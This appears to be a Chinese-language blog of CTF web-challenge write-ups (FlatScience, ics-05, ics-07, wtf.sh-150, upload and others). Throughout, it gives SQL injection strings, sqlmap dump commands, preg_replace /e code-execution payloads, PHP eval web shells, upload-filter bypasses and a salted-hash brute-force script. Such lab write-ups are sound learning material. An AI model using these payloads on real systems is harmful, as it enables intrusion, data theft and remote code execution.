文章目录
web进阶区
继续写攻防世界的刷题记录,有些技巧还是要记下来的,buuctf写过的就不写了
FlatScience
一脸懵逼,不知所云,查看wp,首先查看robots.txt
那么就访问试试,发现在login.php加’得到报错信息,数据库是sqlite
查看源码得到hint,那么加上?debug
,得到源码
<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
$user = $_POST['usr'];
$pass = $_POST['pw'];
$db = new SQLite3('../fancy.db');
$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
if($res){
$row = $res->fetchArray();
}
else{
echo "<br>Some Error occourred!";
}
if(isset($row['id'])){
setcookie('name',' '.$row['name'], time() + 60, '/');
header("Location: /");
die();
}
}
if(isset($_GET['debug']))
highlight_file('login.php');
?>
sql注入点位于query函数,sql反馈点位于setcookie函数。需要注意的是:password是和salt ‘Salz!’ 拼接之后经过一个sha1哈希才传入查询逻辑的,这也就意味着数据库中“password”表项存放的是密码加盐之后的哈希值。
通过查询其全局模式表sqlite_master(存放本数据库所有表、视图、索引、触发器等的定义)可找到用户表的sql定义。
user='union select name,sql from sqlite_master --
(sqlite注释符是’- -’)
得到Set-Cookie:
CREATE TABLE Users(
id int primary key,
name varchar(255),
password varchar(255),
hint varchar(255)
)
那么就要得到id、name、password、hint:
usr=%27 UNION SELECT id, name from Users limit 0,1--
usr=%27 UNION SELECT id, password from Users limit 0,1--
usr=%27 UNION SELECT id, hint from Users limit 0,1--
登陆的话应该需要利用sha1函数和salt找出密码,密码就藏在教授的论文中,所以我们需要爬取站点所有pdf并转换为txt,逐一比对进行爆破
使用师傅脚本爬取pdf:
import urllib.request
import re
allHtml=[]
count=0
pat_pdf=re.compile("href=\"[0-9a-z]+.pdf\"")
pat_html=re.compile("href=\"[0-9]/index\.html\"")
def my_reptile(url_root,html):
global pat_pdf
global pat_html
html=url_root+html
if(isnew(html)):
allHtml.append(html)
print("[*]starting to crawl site:{}".format(html))
with urllib.request.urlopen(html) as f:
response=f.read().decode('utf-8')
pdf_url=pat_pdf.findall(response)
for p in pdf_url:
p=p[6:len(p)-1]
download_pdf(html+p)
html_url=pat_html.findall(response)
for h in html_url:
h=h[6:len(h)-11]
my_reptile(html,h)
def download_pdf(pdf):
global count
fd=open(str(count)+'.pdf','wb')
count+=1
print("[+]downloading pdf from site:{}".format(pdf))
with urllib.request.urlopen(pdf) as f:
fd.write(f.read())
fd.close()
def isnew(html):
global allHtml
for h in allHtml:
if(html==h):
return False
return True
if __name__=="__main__":
my_reptile("http://111.198.29.45:54969//",'')
安装的时候经过多次报错,最终发现要安装的是pdfminer3k,推荐使用代理安装:
pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pdfminer3k
把pdf转化为txt脚本:
from pdfminer.pdfparser import PDFParser,PDFDocument
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal,LAParams
from pdfminer.pdfinterp import PDFTextExtractionNotAllowed
import os
def pdf2txt(pdfFile,txtFile):
print('[+]converting {} to {}'.format(pdfFile,txtFile))
fd_txt=open(txtFile,'w',encoding='utf-8')
fd_pdf=open(pdfFile,'rb')
parser=PDFParser(fd_pdf)
doc=PDFDocument()
parser.set_document(doc)
doc.set_parser(parser)
doc.initialize()
manager=PDFResourceManager()
laParams=LAParams()
device=PDFPageAggregator(manager,laparams=laParams)
interpreter=PDFPageInterpreter(manager,device)
for page in doc.get_pages():
interpreter.process_page(page)
layout=device.get_result()
for x in layout:
if(isinstance(x,LTTextBoxHorizontal)):
fd_txt.write(x.get_text())
fd_txt.write('\n')
fd_pdf.close()
fd_txt.close()
print('[-]finished')
def crazyWork():
print('[*]starting my crazy work')
files=[]
for f in os.listdir():
if(f.endswith('.pdf')):
files.append(f[0:len(f)-4])
for f in files:
pdf2txt(f+'.pdf',f+'.txt')
if __name__=='__main__':
crazyWork()
最后进行密码爆破,脚本如下:
import os
import hashlib
def searchPassword():
print('[*]starting to search the word')
for file in os.listdir():
if(file.endswith('.txt')):
print('[+]searching {}'.format(file))
with open(file,'r',encoding='utf-8') as f:
for line in f:
words=line.split(' ')
for word in words:
if(hashlib.sha1((word+'Salz!').encode('utf-8')).hexdigest()=='3fab54a50e770d830c0416df817567662a9dc85c'):
print('[@]haha,i find it:{}'.format(word))
exit()
if __name__=='__main__':
searchPassword()
最后登录admin得到flag
参考借鉴:
攻防世界-web萌新-FlatScience(python处理pdf、sqlite注入)-Hack.lu-2017
[CTF题目总结-web篇]攻防世界:flatscience
Cat
一开始应该是一个ping命令,并且发现:
- 正常 URL,返回 ping 结果
- 非法 URL、特殊符号,返回 Invalid URL
这里Django调试模式打开了,发现如果在输入框中值包含url编码,在?url=中请求大于%7F的字符都会造成Django报错。
在url中输入?url=%80
,可以得到报错页面:
得到信息:
Request Method:POST
Request URL:http://127.0.0.1:8000/api/ping
Django Version:1.10.4
Exception Type:UnicodeEncodeError
Python Executable:/usr/bin/python
Python Version:2.7.12
是一个PHP调用Python的站,PHP通过CURL向django的站发送数据,那么就可以使用@进行文件传递,如果文件内容中有上述超出编码范围的字符,就会产生报错信息,实际上包含中文就会报错
ctrl+f搜索sql得到
使用?url=@/opt/api/database.sqlite3
参考:攻防世界writeup——Web(持续更新)
ics-04
题目描述:工控云管理系统新添加的登录和注册页面存在漏洞,请找出flag
尝试admin发现失败,在找回密码处发现可以sql注入
admin' or 1=1#
-1' union select 1,2,3,4#
注入点是3,查询数据库发现没有回显,那么就用sqlmap跑一下
python2 sqlmap.py -u "http://111.198.29.45:48163/findpwd.php" --data="username=1" --dbs
最终得到账号和密码:
python2 sqlmap.py -u "http://111.198.29.45:48163/findpwd.php" --data="username=1" -D cetc004 -T user -C "username,password" --dump
那么就去重新注册一个c3tlwDmIn23账号,登录即可
ics-05
题目描述:其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统
发现只有设备维护中心可进,查看源代码得:
发现是一个文件包含漏洞,伪协议读取源码,得到关键信息
?page=php://filter/read=convert.base64-encode/resource=index.php
<?php
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
?>
函数preg_replace() 的漏洞:当pre_replace的参数pattern输入/e的时候 ,参数replacement的代码当作PHP代码执行
那么修改XFF头,并在index.php输入:
?pat=/1/e&rep=system("ls /");&sub=1
接下来找flag
?pat=/1/e&rep=system("find -name flag");&sub=1
?pat=/1/e&rep=system("ls ./s3chahahaDir/flag");&sub=1
最后?pat=/1/e&rep=show_source("./s3chahahaDir/flag/flag.php");&sub=1
直接获取源码或者
?pat=/1/e&rep=system("cat ./s3chahahaDir/flag/flag.php");&sub=1
,并查看源码得到flag
bug
一开始以为是二次注入,结果返回wrong,那么只能注册账号看看
在修改密码处抓包,将username改为admin,成功将admin密码修改,登录
修改XFF头为127.0.0.1,进入message,查看源码得到提示
看了wp才发现原来是文件上传?module=filemanage&do=upload
有检测<?php,改为<script language="php">@eval($_POST['pass']);</script>
并上传的后缀为php5,成功得到flag
ics-07
题目描述:工控云管理系统项目管理页面解析漏洞
点击view-source得到源码
<?php
session_start();
if (!isset($_GET[page])) {
show_source(__FILE__);
die();
}
if (isset($_GET[page]) && $_GET[page] != 'index.php') {
include('flag.php');
}else {
header('Location: ?page=flag.php');
}
?>
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>
<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}
if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>
看了师傅的文章,首先传入的id浮点值不能为1,而且最后一位要为9,可构造id=1a9
然后就要文件上传,但正则过滤了后缀,并用chdir改变目录为uploaded,由于正则判断的是.
后面的字符,用/.
在文件名目录下在加个空目录,相当于没加,但绕过了正则。题目的上传路径为:/uploaded/backup/
POST提交file=a.php/.&con=<?php @eval($_POST['pass']);?>
最后蚁剑连接即可
这里上传路径还是有点懵,不是应该为uploaded了吗。。。。。
参考:
攻防世界 web 进阶 ics-07
XCTF的ics-07
i-got-id-200
发现是perl的内容,看了wp,师傅猜测的后台逻辑:
use strict;
use warnings;
use CGI;
my $cgi= CGI->new;
if ( $cgi->upload( 'file' ) ) {
my $file= $cgi->param( 'file' );
while ( <$file> ) { print "$_"; }
}
在文件上传处会把上传的文件的内容在下方输出,猜测后台应该用了param()函数,如果传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来,达到读取任意文件的目的
猜测存在/flag
正常来说:根据网址猜测file.pl位于/var/www/cgi-bin/目录下
执行命令?/bin/bash%20-c%20ls${IFS}/|
,%20为空格,可换成+号
最后获取flag?/bin/bash%20-c%20cat${IFS}/flag|
参考:[wp] 攻防世界-i-got-id-200
xctf-i-got-id-200(perl网页文件+ARGV上传造成任意文件读取)
wtf.sh-150
没思路,看wp。wtf没见过,就照着wp写了
第一段flag
在展示文章的页面 post.wtf 下发现路径穿越漏洞,获得了网站源码,查找flag得到:
<html>
<head>
<link rel="stylesheet" type="text/css" href="/css/std.css" >
</head>
$ if contains 'user' ${!URL_PARAMS[@]} && file_exists "users/${URL_PARAMS['user']}"
$ then
$ local username=$(head -n 1 users/${URL_PARAMS['user']});
$ echo "<h3>${username}'s posts:</h3>";
$ echo "<ol>";
$ get_users_posts "${username}" | while read -r post; do
$ post_slug=$(awk -F/ '{print $2 "#" $3}' <<< "${post}");
$ echo "<li><a href=\"/post.wtf?post=${post_slug}\">$(nth_line 2 "${post}" | htmlentities)</a></li>";
$ done
$ echo "</ol>";
$ if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]]
$ then
$ get_flag1
$ fi
$ fi
</html>
当使用admin登录即可获取flag1,经发现有users目录,获取到了admin的cookie
那么使用admin的cookie登录即可得到一半的flag
第二段flag
在评论功能处如果用户名是一段可执行代码,而且写入的文件是 wtf 格式的,那么这个文件就能够执行我们想要的代码
注册用户:${find,/,-iname,get_flag2}
%09是水平制表符,必须添加,不然后台会把我们的后门当做目录去解析
最后获取内容,注册用户:$/usr/bin/get_flag2
参考:攻防世界WEB进阶之wtf.sh-150
记录一道神仙CTF-wtf.sh-150
upload
尝试上传各种文件,发现只有jpg上传成功,查看wp发现是注入??????
由于有过滤,使用利用selselectect和frfromom双写绕过。
s'+(selselectect CONV(substr(hex(database()),1,12),16,10))+'.jpg
这里用到了CONV,substr,hex:
不转成数字,完全没有回显结果,所以用hex先将字符转换成16进制,然后用CONV函数将16进制转化为10进制,依次获取子串的12位,用substr截取12是因为一旦过长,会用科学计数法表示。
s'+(selselectect CONV(substr(hex(dAtaBase()),13,12),16,10))+'.jpg
得到后半段
再转换为16进制得到web_upload
s'+(seleselectct+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),1,12),16,10))+'.jpg
s'+(seleselectct+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),13,12),16,10))+'.jpg
s'+(seleselectct+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),25,12),16,10))+'.jpg
得到hello_flag_is_here
s '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg
得到i_am_flag
s '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg
得到!!_@m_Th.e_F!lag
这题比较难想,还有将字符转换为数字很巧妙,实属劝退。。。。
参考:
攻防世界进阶upload
攻防世界 upload
ics-02(未完成)
得到一个pdf文档,不知道怎么办了,看wp要扫描
发现有一个secret目录
无法直接访问secret_debug.php,那么可以利用ssrf来访问secret_debug.php
参考:
[wp] 攻防世界 ics-02